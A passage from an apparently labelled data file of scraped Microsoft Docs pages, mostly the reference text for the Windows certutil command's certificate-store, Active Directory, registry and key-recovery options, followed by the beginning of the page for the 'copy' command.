_continue_ = ""Flags=0&"" _continue_ = ""KeySpec=2"" 9 = ""{text}"" ; Add Enhanced Key Usage property _continue_ = ""1.3.6.1.5.5.7.3.2,"" _continue_ = ""1.3.6.1.5.5.7.3.1,"" [-f] [-enterprise] [-user] [-GroupPolicy] [-silent] [-split] [-csp Provider] Return to Menu -viewstore CertUtil [Options] -viewdelstore [CertificateStoreName [CertId [OutputFile]]] Dump certificate store CertificateStoreName: Certificate store name. Examples: ""My"", ""CA"" (default), ""Root"", ""ldap:///CN=Certification Authorities,CN=Public Key Services,CN=Services,CN=Configuration,DC=cpandl,DC=com?cACertificate?one?objectClass=certificationAuthority"" (View Root Certificates) ""ldap:///CN=CAName,CN=Certification Authorities,CN=Public Key Services,CN=Services,CN=Configuration,DC=cpandl,DC=com?cACertificate?base?objectClass=certificationAuthority"" (Modify Root Certificates) ""ldap:///CN=CAName,CN=MachineName,CN=CDP,CN=Public Key Services,CN=Services,CN=Configuration,DC=cpandl,DC=com?certificateRevocationList?base?objectClass=cRLDistributionPoint"" (View CRLs) ""ldap:///CN=NTAuthCertificates,CN=Public Key Services,CN=Services,CN=Configuration,DC=cpandl,DC=com?cACertificate?base?objectClass=certificationAuthority"" (Enterprise CA Certificates) ldap: (AD machine object certificates) -user ldap: (AD user object certificates) CertId: Certificate or CRL match token. This can be a serial number, an SHA-1 certificate, CRL, CTL or public key hash, a numeric cert index (0, 1, and so on), a numeric CRL index (.0, .1, and so on), a numeric CTL index (..0, ..1, and so on), a public key, signature or extension ObjectId, a certificate subject Common Name, an e-mail address, UPN or DNS name, a key container name or CSP name, a template name or ObjectId, an EKU or Application Policies ObjectId, or a CRL issuer Common Name. Many of these may result in multiple matches. OutputFile: file to save matching cert Use -user to access a user store instead of a machine store. Use -enterprise to access a machine enterprise store. Use -service to access a machine service store. Use -grouppolicy to access a machine group policy store. Examples: -enterprise NTAuth -enterprise Root 37 -user My 26e0aaaf000000000004 CA .11 [-f] [-enterprise] [-user] [-GroupPolicy] [-dc DCName] Return to Menu -viewdelstore CertUtil [Options] -viewdelstore [CertificateStoreName [CertId [OutputFile]]] Delete certificate from store CertificateStoreName: Certificate store name. Examples: ""My"", ""CA"" (default), ""Root"", ""ldap:///CN=Certification Authorities,CN=Public Key Services,CN=Services,CN=Configuration,DC=cpandl,DC=com?cACertificate?one?objectClass=certificationAuthority"" (View Root Certificates) ""ldap:///CN=CAName,CN=Certification Authorities,CN=Public Key Services,CN=Services,CN=Configuration,DC=cpandl,DC=com?cACertificate?base?objectClass=certificationAuthority"" (Modify Root Certificates) ""ldap:///CN=CAName,CN=MachineName,CN=CDP,CN=Public Key Services,CN=Services,CN=Configuration,DC=cpandl,DC=com?certificateRevocationList?base?objectClass=cRLDistributionPoint"" (View CRLs) ""ldap:///CN=NTAuthCertificates,CN=Public Key Services,CN=Services,CN=Configuration,DC=cpandl,DC=com?cACertificate?base?objectClass=certificationAuthority"" (Enterprise CA Certificates) ldap: (AD machine object certificates) -user ldap: (AD user object certificates) CertId: Certificate or CRL match token. This can be a serial number, an SHA-1 certificate, CRL, CTL or public key hash, a numeric cert index (0, 1, and so on), a numeric CRL index (.0, .1, and so on), a numeric CTL index (..0, ..1, and so on), a public key, signature or extension ObjectId, a certificate subject Common Name, an e-mail address, UPN or DNS name, a key container name or CSP name, a template name or ObjectId, an EKU or Application Policies ObjectId, or a CRL issuer Common Name. Many of these may result in multiple matches. OutputFile: file to save matching cert Use -user to access a user store instead of a machine store. Use -enterprise to access a machine enterprise store. Use -service to access a machine service store. Use -grouppolicy to access a machine group policy store. Examples: -enterprise NTAuth -enterprise Root 37 -user My 26e0aaaf000000000004 CA .11 [-f] [-enterprise] [-user] [-GroupPolicy] [-dc DCName] Return to Menu -dsPublish CertUtil [Options] -dsPublish CertFile [NTAuthCA | RootCA | SubCA | CrossCA | KRA | User | Machine] CertUtil [Options] -dsPublish CRLFile [DSCDPContainer [DSCDPCN]] Publish certificate or CRL to Active Directory CertFile: certificate file to publish NTAuthCA: Publish cert to DS Enterprise store RootCA: Publish cert to DS Trusted Root store SubCA: Publish CA cert to DS CA object CrossCA: Publish cross cert to DS CA object KRA: Publish cert to DS Key Recovery Agent object User: Publish cert to User DS object Machine: Publish cert to Machine DS object CRLFile: CRL file to publish DSCDPContainer: DS CDP container CN, usually the CA machine name DSCDPCN: DS CDP object CN, usually based on the sanitized CA short name and key index Use -f to create DS object. [-f] [-user] [-dc DCName] Return to Menu -ADTemplate CertUtil [Options] -ADTemplate [Template] Display AD templates [-f] [-user] [-ut] [-mt] [-dc DCName] -Template CertUtil [Options] -Template [Template] Display Enrollment Policy templates [-f] [-user] [-silent] [-PolicyServer URLOrId] [-Anonymous] [-Kerberos] [-ClientCertificate ClientCertId] [-UserName UserName] [-p Password] Return to Menu -TemplateCAs CertUtil [Options] -TemplateCAs Template Display CAs for template [-f] [-user] [-dc DCName] Return to Menu -CATemplates CertUtil [Options] -CATemplates [Template] Display templates for CA [-f] [-user] [-ut] [-mt] [-config Machine\\CAName] [-dc DCName] Return to Menu -SetCASites CertUtil [Options] -SetCASites [set] [SiteName] CertUtil [Options] -SetCASites verify [SiteName] CertUtil [Options] -SetCASites delete Set, Verify or Delete CA site names Use the -config option to target a single CA (Default is all CAs) SiteName is allowed only when targeting a single CA Use -f to override validation errors for the specified SiteName Use -f to delete all CA site names [-f] [-config Machine\\CAName] [-dc DCName] Note For more information on configuring CAs for Active Directory Domain Services (AD DS) site awareness, see AD DS Site Awareness for AD CS and PKI clients. Return to Menu -enrollmentServerURL CertUtil [Options] -enrollmentServerURL [URL AuthenticationType [Priority] [Modifiers]] CertUtil [Options] -enrollmentServerURL URL delete Display, add or delete enrollment server URLs associated with a CA AuthenticationType: Specify one of the following client authentication methods while adding a URL Kerberos: Use Kerberos SSL credentials UserName: Use named account for SSL credentials ClientCertificate: Use X.509 Certificate SSL credentials Anonymous: Use anonymous SSL credentials delete: deletes the specified URL associated with the CA Priority: defaults to '1' if not specified when adding a URL Modifiers -- Comma separated list of one or more of the following: AllowRenewalsOnly: Only renewal requests can be submitted to this CA via this URL AllowKeyBasedRenewal: Allows use of a certificate that has no associated account in the AD. This applies only with ClientCertificate and AllowRenewalsOnly Mode [-config Machine\\CAName] [-dc DCName] Return to Menu -ADCA CertUtil [Options] -ADCA [CAName] Display AD CAs [-f] [-split] [-dc DCName] Return to Menu -CA CertUtil [Options] -CA [CAName | TemplateName] Display Enrollment Policy CAs [-f] [-user] [-silent] [-split] [-PolicyServer URLOrId] [-Anonymous] [-Kerberos] [-ClientCertificate ClientCertId] [-UserName UserName] [-p Password] Return to Menu -Policy Display Enrollment Policy [-f] [-user] [-silent] [-split] [-PolicyServer URLOrId] [-Anonymous] [-Kerberos] [-ClientCertificate ClientCertId] [-UserName UserName] [-p Password] Return to Menu -PolicyCache CertUtil [Options] -PolicyCache [delete] Display or delete Enrollment Policy Cache entries delete: delete Policy Server cache entries -f: use -f to delete all cache entries [-f] [-user] [-PolicyServer URLOrId] Return to Menu -CredStore CertUtil [Options] -CredStore [URL] CertUtil [Options] -CredStore URL add CertUtil [Options] -CredStore URL delete Display, add or delete Credential Store entries URL: target URL. Use * to match all entries. Use https://machine* to match a URL prefix. add: add a Credential Store entry. SSL credentials must also be specified. delete: delete Credential Store entries -f: use -f to overwrite an entry or to delete multiple entries. [-f] [-user] [-silent] [-Anonymous] [-Kerberos] [-ClientCertificate ClientCertId] [-UserName UserName] [-p Password] Return to Menu -InstallDefaultTemplates CertUtil [Options] -InstallDefaultTemplates Install default certificate templates [-dc DCName] Return to Menu -URLCache CertUtil [Options] -URLCache [URL | CRL | * [delete]] Display or delete URL cache entries URL: cached URL CRL: operate on all cached CRL URLs only *: operate on all cached URLs delete: delete relevant URLs from the current user's local cache Use -f to force fetching a specific URL and updating the cache. [-f] [-split] Return to Menu -pulse CertUtil [Options] -pulse Pulse autoenrollment events [-user] Return to Menu -MachineInfo CertUtil [Options] -MachineInfo DomainName\\MachineName$ Display Active Directory computer object information Return to Menu -DCInfo CertUtil [Options] -DCInfo [Domain] [Verify | DeleteBad | DeleteAll] Display domain controller information Default is to display DC certs without verification [-f] [-user] [-urlfetch] [-dc DCName] [-t Timeout] Tip The ability to specify an Active Directory Domain Services (AD DS) domain [Domain] and to specify a domain controller (-dc) was added in Windows Server 2012. To successfully run the command, you must use an account that is a member of Domain Admins or Enterprise Admins. The behavior modifications of this command are as follows: If a domain is not specified and a specific domain controller is not specified, this option returns a list of domain controllers to process from the default domain controller. If a domain is not specified, but a domain controller is specified, a report of the certificates on the specified domain controller is generated. If a domain is specified, but a domain controller is not specified, a list of domain controllers is generated along with reports on the certificates for each domain controller in the list. If the domain and domain controller are specified, a list of domain controllers is generated from the targeted domain controller. A report of the certificates for each domain controller in the list is also generated. For example, assume there is a domain named CPANDL with a domain controller named CPANDL-DC1. You could run the following command to a retrieve a list of domain controllers and their certificates that from CPANDL-DC1: certutil -dc cpandl-dc1 -dcinfo cpandl Return to Menu -EntInfo CertUtil [Options] -EntInfo DomainName\\MachineName$ [-f] [-user] Return to Menu -TCAInfo CertUtil [Options] -TCAInfo [DomainDN | -] Display CA information [-f] [-enterprise] [-user] [-urlfetch] [-dc DCName] [-t Timeout] Return to Menu -SCInfo CertUtil [Options] -SCInfo [ReaderName [CRYPT_DELETEKEYSET]] Display smart card information CRYPT_DELETEKEYSET: Delete all keys on the smart card [-silent] [-split] [-urlfetch] [-t Timeout] Return to Menu -SCRoots CertUtil [Options] -SCRoots update [+][InputRootFile] [ReaderName] CertUtil [Options] -SCRoots save @OutputRootFile [ReaderName] CertUtil [Options] -SCRoots view [InputRootFile | ReaderName] CertUtil [Options] -SCRoots delete [ReaderName] Manage smart card root certificates [-f] [-split] [-p Password] Return to Menu -verifykeys CertUtil [Options] -verifykeys [KeyContainerName CACertFile] Verify public/private key set KeyContainerName: key container name of the key to verify. Defaults to machine keys. Use -user for user keys. CACertFile: signing or encryption certificate file If no arguments are specified, each signing CA cert is verified against its private key. This operation can only be performed against a local CA or local keys. [-f] [-user] [-silent] [-config Machine\\CAName] Return to Menu -verify CertUtil [Options] -verify CertFile [ApplicationPolicyList | - [IssuancePolicyList]] CertUtil [Options] -verify CertFile [CACertFile [CrossedCACertFile]] CertUtil [Options] -verify CRLFile CACertFile [IssuedCertFile] CertUtil [Options] -verify CRLFile CACertFile [DeltaCRLFile] Verify certificate, CRL or chain CertFile: Certificate to verify ApplicationPolicyList: optional comma separated list of required Application Policy ObjectIds IssuancePolicyList: optional comma separated list of required Issuance Policy ObjectIds CACertFile: optional issuing CA certificate to verify against CrossedCACertFile: optional certificate cross-certified by CertFile CRLFile: CRL to verify IssuedCertFile: optional issued certificate covered by CRLFile DeltaCRLFile: optional delta CRL If ApplicationPolicyList is specified, chain building is restricted to chains valid for the specified Application Policies. If IssuancePolicyList is specified, chain building is restricted to chains valid for the specified Issuance Policies. If CACertFile is specified, fields in CACertFile are verified against CertFile or CRLFile. If CACertFile is not specified, CertFile is used to build and verify a full chain. If CACertFile and CrossedCACertFile are both specified, fields in CACertFile and CrossedCACertFile are verified against CertFile. If IssuedCertFile is specified, fields in IssuedCertFile are verified against CRLFile. If DeltaCRLFile is specified, fields in DeltaCRLFile are verified against CRLFile. [-f] [-enterprise] [-user] [-silent] [-split] [-urlfetch] [-t Timeout] Return to Menu -verifyCTL CertUtil [Options] -verifyCTL CTLObject [CertDir] [CertFile] Verify AuthRoot or Disallowed Certificates CTL CTLObject: Identifies the CTL to verify: AuthRootWU: read AuthRoot CAB and matching certificates from the URL cache. Use -f to download from Windows Update instead. DisallowedWU: read Disallowed Certificates CAB and disallowed certificate store file from the URL cache. Use -f to download from Windows Update instead. AuthRoot: read registry cached AuthRoot CTL. Use with -f and a CertFile that is not already trusted to force updating the registry cached AuthRoot and Disallowed Certificate CTLs. Disallowed: read registry cached Disallowed Certificates CTL. -f has the same behavior as with AuthRoot. CTLFileName: file or http: path to CTL or CAB CertDir: folder containing certificates matching CTL entries. An http: folder path must end with a path separator. If a folder is not specified with AuthRoot or Disallowed, multiple locations will be searched for matching certificates: local certificate stores, crypt32.dll resources and the local URL cache. Use -f to download from Windows Update when necessary. Otherwise defaults to the same folder or web site as the CTLObject. CertFile: file containing certificate(s) to verify. Certificates will be matched against CTL entries, and match results displayed. Suppresses most of the default output. [-f] [-user] [-split] Return to Menu -sign CertUtil [Options] -sign InFileList|SerialNumber|CRL OutFileList [StartDate+dd:hh] [+SerialNumberList | -SerialNumberList | -ObjectIdList | @ExtensionFile\\] CertUtil [Options] -sign InFileList|SerialNumber|CRL OutFileList [#HashAlgorithm] [+AlternateSignatureAlgorithm | -AlternateSignatureAlgorithm] Re-sign CRL or certificate InFileList: comma separated list of Certificate or CRL files to modify and re-sign SerialNumber: Serial number of certificate to create. Validity period and other options must not be present. CRL: Create an empty CRL. Validity period and other options must not be present. OutFileList: comma separated list of modified Certificate or CRL output files. The number of files must match InFileList. StartDate+dd:hh: new validity period: optional date plus; optional days and hours validity period; If both are specified, use a plus sign (+) separator. Use ""now[+dd:hh]"" to start at the current time. Use ""never"" to have no expiration date (for CRLs only). SerialNumberList: comma separated serial number list to add or remove ObjectIdList: comma separated extension ObjectId list to remove @ExtensionFile: INF file containing extensions to update or remove: [Extensions] 2.5.29.31 = ; Remove CRL Distribution Points extension 2.5.29.15 = ""{hex}"" ; Update Key Usage extension _continue_=""03 02 01 86"" HashAlgorithm: Name of the hash algorithm preceded by a # sign AlternateSignatureAlgorithm: alternate Signature algorithm specifier A minus sign causes serial numbers and extensions to be removed. A plus sign causes serial numbers to be added to a CRL. When removing items from a CRL, the list may contain both serial numbers and ObjectIds. A minus sign before AlternateSignatureAlgorithm causes the legacy signature format to be used. A plus sign before AlternateSignatureAlgorithm causes the alternature signature format to be used. If AlternateSignatureAlgorithm is not specified then the signature format in the certificate or CRL is used. [-nullsign] [-f] [-silent] [-Cert CertId] Return to Menu -vroot CertUtil [Options] -vroot [delete] Create/delete web virtual roots and file shares Return to Menu -vocsproot CertUtil [Options] -vocsproot [delete] Create/delete web virtual roots for OCSP web proxy Return to Menu -addEnrollmentServer CertUtil [Options] -addEnrollmentServer Kerberos | UserName | ClientCertificate [AllowRenewalsOnly] [AllowKeyBasedRenewal] Add an Enrollment Server application Add an Enrollment Server application and application pool if necessary, for the specified CA. This command does not install binaries or packages. One of the following authentication methods with which the client connects to a Certificate Enrollment Server. Kerberos: Use Kerberos SSL credentials UserName: Use named account for SSL credentials ClientCertificate: Use X.509 Certificate SSL credentials AllowRenewalsOnly: Only renewal requests can be submitted to this CA via this URL AllowKeyBasedRenewal -- Allows use of a certificate that has no associated account in the AD. This applies only with ClientCertificate and AllowRenewalsOnly mode. [-config Machine\\CAName] Return to Menu -deleteEnrollmentServer CertUtil [Options] -deleteEnrollmentServer Kerberos | UserName | ClientCertificate Delete an Enrollment Server application Delete an Enrollment Server application and application pool if necessary, for the specified CA. This command does not remove binaries or packages. One of the following authentication methods with which the client connects to a Certificate Enrollment Server. Kerberos: Use Kerberos SSL credentials UserName: Use named account for SSL credentials ClientCertificate: Use X.509 Certificate SSL credentials [-config Machine\\CAName] Return to Menu -addPolicyServer CertUtil [Options] -addPolicyServer Kerberos | UserName | ClientCertificate [KeyBasedRenewal] Add a Policy Server application Add a Policy Server application and application pool if necessary. This command does not install binaries or packages. One of the following authentication methods with which the client connects to a Certificate Policy Server: Kerberos: Use Kerberos SSL credentials UserName: Use named account for SSL credentials ClientCertificate: Use X.509 Certificate SSL credentials KeyBasedRenewal: Only policies that contain KeyBasedRenewal templates are returned to the client. This flag applies only for UserName and ClientCertificate authentication. Return to Menu -deletePolicyServer CertUtil [Options] -deletePolicyServer Kerberos | UserName | ClientCertificate [KeyBasedRenewal] Delete a Policy Server application Delete a Policy Server application and application pool if necessary. This command does not remove binaries or packages. One of the following authentication methods with which the client connects to a Certificate Policy Server: Kerberos: Use Kerberos SSL credentials UserName: Use named account for SSL credentials ClientCertificate: Use X.509 Certificate SSL credentials KeyBasedRenewal: KeyBasedRenewal policy server Return to Menu -oid CertUtil [Options] -oid ObjectId [DisplayName | delete [LanguageId [Type]]] CertUtil [Options] -oid GroupId CertUtil [Options] -oid AlgId | AlgorithmName [GroupId] Display ObjectId or set display name ObjectId -- ObjectId to display or to add display name GroupId -- decimal GroupId number for ObjectIds to enumerate AlgId -- hexadecimal AlgId for ObjectId to look up AlgorithmName -- Algorithm Name for ObjectId to look up DisplayName -- Display Name to store in DS delete -- delete display name LanguageId -- Language Id (defaults to current: 1033) Type -- DS object type to create: 1 for Template (default), 2 for Issuance Policy, 3 for Application Policy Use -f to create DS object. [-f] Return to Menu -error CertUtil [Options] -error ErrorCode Display error code message text Return to Menu -getreg CertUtil [Options] -getreg [{ca|restore|policy|exit|template|enroll|chain|PolicyServers}\\[ProgId\\]][RegistryValueName] Display registry value ca: Use CA's registry key restore: Use CA's restore registry key policy: Use policy module's registry key exit: Use first exit module's registry key template: Use template registry key (use -user for user templates) enroll: Use enrollment registry key (use -user for user context) chain: Use chain configuration registry key PolicyServers: Use Policy Servers registry key ProgId: Use policy or exit module's ProgId (registry subkey name) RegistryValueName: registry value name (use ""Name*"" to prefix match) Value: new numeric, string or date registry value or filename. If a numeric value starts with ""+"" or ""-"", the bits specified in the new value are set or cleared in the existing registry value. If a string value starts with ""+"" or ""-"", and the existing value is a REG_MULTI_SZ value, the string is added to or removed from the existing registry value. To force creation of a REG_MULTI_SZ value, add a ""\\n"" to the end of the string value. If the value starts with ""@"", the rest of the value is the name of the file containing the hexadecimal text representation of a binary value. If it does not refer to a valid file, it is instead parsed as \\[Date\\]\\[+|-\\]\\[dd:hh\\] -- an optional date plus or minus optional days and hours. If both are specified, use a plus sign (+) or minus sign (-) separator. Use ""now+dd:hh"" for a date relative to the current time. Use ""chain\\ChainCacheResyncFiletime @now"" to effectively flush cached CRLs. [-f] [-user] [-GroupPolicy] [-config Machine\\CAName] Return to Menu -setreg CertUtil [Options] -setreg [{ca|restore|policy|exit|template|enroll|chain|PolicyServers}\\[ProgId\\]]RegistryValueName Value Set registry value ca: Use CA's registry key restore: Use CA's restore registry key policy: Use policy module's registry key exit: Use first exit module's registry key template: Use template registry key (use -user for user templates) enroll: Use enrollment registry key (use -user for user context) chain: Use chain configuration registry key PolicyServers: Use Policy Servers registry key ProgId: Use policy or exit module's ProgId (registry subkey name) RegistryValueName: registry value name (use ""Name*"" to prefix match) Value: new numeric, string or date registry value or filename. If a numeric value starts with ""+"" or ""-"", the bits specified in the new value are set or cleared in the existing registry value. If a string value starts with ""+"" or ""-"", and the existing value is a REG_MULTI_SZ value, the string is added to or removed from the existing registry value. To force creation of a REG_MULTI_SZ value, add a ""\\n"" to the end of the string value. If the value starts with ""@"", the rest of the value is the name of the file containing the hexadecimal text representation of a binary value. If it does not refer to a valid file, it is instead parsed as \\[Date\\]\\[+|-\\]\\[dd:hh\\] -- an optional date plus or minus optional days and hours. If both are specified, use a plus sign (+) or minus sign (-) separator. Use ""now+dd:hh"" for a date relative to the current time. Use ""chain\\ChainCacheResyncFiletime @now"" to effectively flush cached CRLs. [-f] [-user] [-GroupPolicy] [-config Machine\\CAName] Return to Menu -delreg CertUtil [Options] -delreg [{ca|restore|policy|exit|template|enroll|chain|PolicyServers}\\[ProgId\\]][RegistryValueName] Delete registry value ca: Use CA's registry key restore: Use CA's restore registry key policy: Use policy module's registry key exit: Use first exit module's registry key template: Use template registry key (use -user for user templates) enroll: Use enrollment registry key (use -user for user context) chain: Use chain configuration registry key PolicyServers: Use Policy Servers registry key ProgId: Use policy or exit module's ProgId (registry subkey name) RegistryValueName: registry value name (use ""Name*"" to prefix match) Value: new numeric, string or date registry value or filename. If a numeric value starts with ""+"" or ""-"", the bits specified in the new value are set or cleared in the existing registry value. If a string value starts with ""+"" or ""-"", and the existing value is a REG_MULTI_SZ value, the string is added to or removed from the existing registry value. To force creation of a REG_MULTI_SZ value, add a ""\\n"" to the end of the string value. If the value starts with ""@"", the rest of the value is the name of the file containing the hexadecimal text representation of a binary value. If it does not refer to a valid file, it is instead parsed as \\[Date\\]\\[+|-\\]\\[dd:hh\\] -- an optional date plus or minus optional days and hours. If both are specified, use a plus sign (+) or minus sign (-) separator. Use ""now+dd:hh"" for a date relative to the current time. Use ""chain\\ChainCacheResyncFiletime @now"" to effectively flush cached CRLs. [-f] [-user] [-GroupPolicy] [-config Machine\\CAName] Return to Menu -ImportKMS CertUtil [Options] -ImportKMS UserKeyAndCertFile [CertId] Import user keys and certificates into server database for key archival UserKeyAndCertFile -- Data file containing user private keys and certificates to be archived. This can be any of the following: Exchange Key Management Server (KMS) export file PFX file CertId: KMS export file decryption certificate match token. See -store. Use -f to import certificates not issued by the CA. [-f] [-silent] [-split] [-config Machine\\CAName] [-p Password] [-symkeyalg SymmetricKeyAlgorithm[,KeyLength]] Return to Menu -ImportCert CertUtil [Options] -ImportCert Certfile [ExistingRow] Import a certificate file into the database Use ExistingRow to import the certificate in place of a pending request for the same key. Use -f to import certificates not issued by the CA. The CA may also need to be configured to support foreign certificate import: certutil -setreg ca\\KRAFlags +KRAF_ENABLEFOREIGN [-f] [-config Machine\\CAName] Return to Menu -GetKey CertUtil [Options] -GetKey SearchToken [RecoveryBlobOutFile] CertUtil [Options] -GetKey SearchToken script OutputScriptFile CertUtil [Options] -GetKey SearchToken retrieve | recover OutputFileBaseName Retrieve archived private key recovery blob, generate a recovery script, or recover archived keys script: generate a script to retrieve and recover keys (default behavior if multiple matching recovery candidates are found, or if the output file is not specified). retrieve: retrieve one or more Key Recovery Blobs (default behavior if exactly one matching recovery candidate is found, and if the output file is specified) recover: retrieve and recover private keys in one step (requires Key Recovery Agent certificates and private keys) SearchToken: Used to select the keys and certificates to be recovered. Can be any of the following: Certificate Common Name Certificate Serial Number Certificate SHA-1 hash (thumbprint) Certificate KeyId SHA-1 hash (Subject Key Identifier) Requester Name ser) UPN (user@domain) RecoveryBlobOutFile: output file containing a certificate chain and an associated private key, still encrypted to one or more Key Recovery Agent certificates. OutputScriptFile: output file containing a batch script to retrieve and recover private keys. OutputFileBaseName: output file base name. For retrieve, any extension is truncated and a certificate-specific string and the .rec extension are appended for each key recovery blob. Each file contains a certificate chain and an associated private key, still encrypted to one or more Key Recovery Agent certificates. For recover, any extension is truncated and the .p12 extension is appended. Contains the recovered certificate chains and associated private keys, stored as a PFX file. [-f] [-UnicodeText] [-silent] [-config Machine\\CAName] [-p Password] [-ProtectTo SAMNameAndSIDList] [-csp Provider] Return to Menu -RecoverKey CertUtil [Options] -RecoverKey RecoveryBlobInFile [PFXOutFile [RecipientIndex]] Recover archived private key [-f] [-user] [-silent] [-split] [-p Password] [-ProtectTo SAMNameAndSIDList] [-csp Provider] [-t Timeout] Return to Menu -MergePFX CertUtil [Options] -MergePFX PFXInFileList PFXOutFile [ExtendedProperties] PFXInFileList: Comma separated PFX input file list PFXOutFile: PFX output file ExtendedProperties: Include extended properties The password specified on the command line is a comma separated password list. If more than one password is specified, the last password is used for the output file. If only one password is provided or if the last password is ""*"", the user will be prompted for the output file password. [-f] [-user] [-split] [-p Password] [-ProtectTo SAMNameAndSIDList] [-csp Provider] Return to Menu -ConvertEPF CertUtil [Options] -ConvertEPF PFXInFileList EPFOutFile [cast | cast-] [V3CACertId][,Salt] Convert PFX files to EPF file PFXInFileList: Comma separated PFX input file list EPF: EPF output file cast: Use CAST 64 encryption cast-: Use CAST 64 encryption (export) V3CACertId: V3 CA Certificate match token. See -store CertId description. Salt: EPF output file salt string The password specified on the command line is a comma separated password list. If more than one password is specified, the last password is used for the output file. If only one password is provided or if the last password is ""*"", the user will be prompted for the output file password. [-f] [-silent] [-split] [-dc DCName] [-p Password] [-csp Provider] Return to Menu Options This section defines the options that you can specify with the command. Options Description -nullsign Use hash of data as signature -f Force overwrite -enterprise Use local machine Enterprise registry certificate store -user Use HKEY_CURRENT_USER keys or certificate store -GroupPolicy Use Group Policy certificate store -ut Display user templates -mt Display machine templates -Unicode Write redirected output in Unicode -UnicodeText Write output file in Unicode -gmt Display times as GMT -seconds Display times with seconds and milliseconds -silent Use silent flag to acquire crypt context -split Split embedded ASN.1 elements, and save to files -v Verbose operation -privatekey Display password and private key data -pin PIN Smart Card PIN -urlfetch Retrieve and verify AIA Certs and CDP CRLs -config Machine\\CAName CA and computer name string -PolicyServer URLOrId Policy Server URL or Id. For selection U/I, use -PolicyServer. For all Policy Servers, use -PolicyServer * -Anonymous Use anonymous SSL credentials -Kerberos Use Kerberos SSL credentials -ClientCertificate ClientCertId Use X.509 Certificate SSL credentials. For selection U/I, use -clientCertificate. -UserName UserName Use named account for SSL credentials. For selection U/I, use -UserName. -Cert CertId Signing certificate -dc DCName Target a specific Domain Controller -restrict RestrictionList Comma separated Restriction List. Each restriction consists of a column name, a relational operator and a constant integer, string or date. One column name may be preceded by a plus or minus sign to indicate the sort order. Examples: ""RequestId = 47"" ""+RequesterName >= a, RequesterName < b"" ""-RequesterName > DOMAIN, Disposition = 21"" -out ColumnList Comma separated Column List -p Password Password -ProtectTo SAMNameAndSIDList Comma separated SAM Name/SID List -csp Provider Provider -t Timeout URL fetch timeout in milliseconds -symkeyalg SymmetricKeyAlgorithm[,KeyLength] Name of Symmetric Key Algorithm with optional key length, example: AES,128 or 3DES Return to Menu Additional certutil examples For some examples of how to use this command, see Certutil Examples for Managing Active Directory Certificate Services (AD CS) from the Command Line Certutil tasks for managing certificates Binary Request Export Using the CertUtil.exe Command-Line Tool Walkthrough Root CA certificate renewal Certutil Return to Menu Previous Version Docs Blog Contribute Privacy & Cookies Terms of Use Site Feedback Trademarks In this article Previous Version Docs Blog Contribute Privacy & Cookies Terms of Use Site Feedback Trademarks","0","0","0","0","0","1","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0" -"Copy | Microsoft Docs Skip to main content Contents Exit focus mode Share Twitter LinkedIn Facebook Email Theme Light Dark High contrast Sign in Profile Sign out Contents Copy 09/11/2009 7 minutes to read In this article Copies one or more files from one location to another. Syntax copy [/d] [/v] [/n] [{/y|/-y}] [/z] [{/a|/b}] Source [{/a|/b}] [+ Source [{/a|/b}] [+ ...]] [Destination [{/a|/b}]] Parameters /d : Allows the encrypted files being copied to be saved as decrypted files at the destination. /v : Verifies that new files are written correctly. /n : Uses a short file name, if available, when copying a file with a name longer than eight characters, or with a file extension longer than three characters. /y : Suppresses prompting to confirm that you want to overwrite an existing destination file. /-y : Prompts you to confirm that you want to overwrite an existing destination file. /z : Copies networked files in restartable mode. /a : Indicates an ASCII text file. /b : Indicates a binary file. Source : Required. Specifies the location from which you want to copy a file or set of files. Source can consist of a drive letter and colon, a folder name, a file name, or a combination of these. Destination : Required. Specifies the location to which you want to copy a file or set of files. Destination can consist of a drive letter and colon, a folder name, a file name, or a combination of these. /? : Displays help at the command prompt. Remarks You can copy an ASCII text file that uses an end-of-file character (that is, CTRL+Z) to indicate the end of the file. Using /a When /a precedes a list of files on the command line, it applies to all files listed until copy encounters /b. In this case, /b applies to the file preceding /b. When /a follows a list of files on the command line, it applies to all listed files until copy encounters /b. In this case, /b applies to the file preceding /b. The effect of /a depends on its position in the command-line string. When /a follows Source, copy treats the file as an ASCII file and copies data that precedes the first end-of-file character. When /a follows Destination, copy adds an end-of-file character as the last character of the file. Using /b /b directs the command interpreter to read the number of bytes specified by the file size in the directory. /b is the default value for copy, unless copy combines files. When /b precedes a list of files on the command line, it applies to all listed files until copy encounters /a. In this case, /a applies to the file preceding /a. When /b follows a list of files on the command line, it applies to all listed files until copy encounters /a. In this case, /a applies to the file preceding /a. The effect of /b depends on its position in the commandline string. When /b follows Source, copy copies the entire file, including any end-of-file character. When /b follows Destination, copy does not add an end-of-file character. Using /v If a write operation cannot be verified an error message appears. Although recording errors rarely occur with copy, you can use /v to verify that critical data has been correctly recorded. The /v command-line option also slows down the copy command, because each sector recorded on the disk must be checked. Using /y and /-y If /y is preset in the COPYCMD environment variable, you can override this setting by using /-y at the command line. By default, you are prompted when you replace this setting, unless the copy command is executed in a batch script. Appending files To append files, specify a single file for Destination, but multiple files for Source (using wildcard characters or file1+file2+file3 format). Using /z If the connection is lost during the copy phase (for example, if the server going offline severs the connection), copy /z resumes after the connection is reestablished. /z also displays the percentage of the copy operation that is completed for each file. Copying to and from devices You can substitute a device name for one or more occurrences of Source or Destination. Using or omitting /b when copying to a device When Destination is a device (for example, Com1 or Lpt1), /b copies data to the device in binary mode. In binary mode, copy /b copies all characters (that is, including special characters, such as CTRL+C, CTRL+S, CTRL+Z, and carriage return) to the device as data. However, if you omit /b, data is copied to the device in ASCII mode. In ASCII mode, special characters might cause Windows XP to combine files during the copying process. For more information, see ""Combining files."" Using the default destination file If you do not specify a destination file, a copy is created with the same name, creation date, and creation time as the original file, placing the new copy in the current directory on the current drive. If the source file is on the current drive and in the current directory and you do not specify a different drive or directory for the destination file, the copy command stops and displays the following error 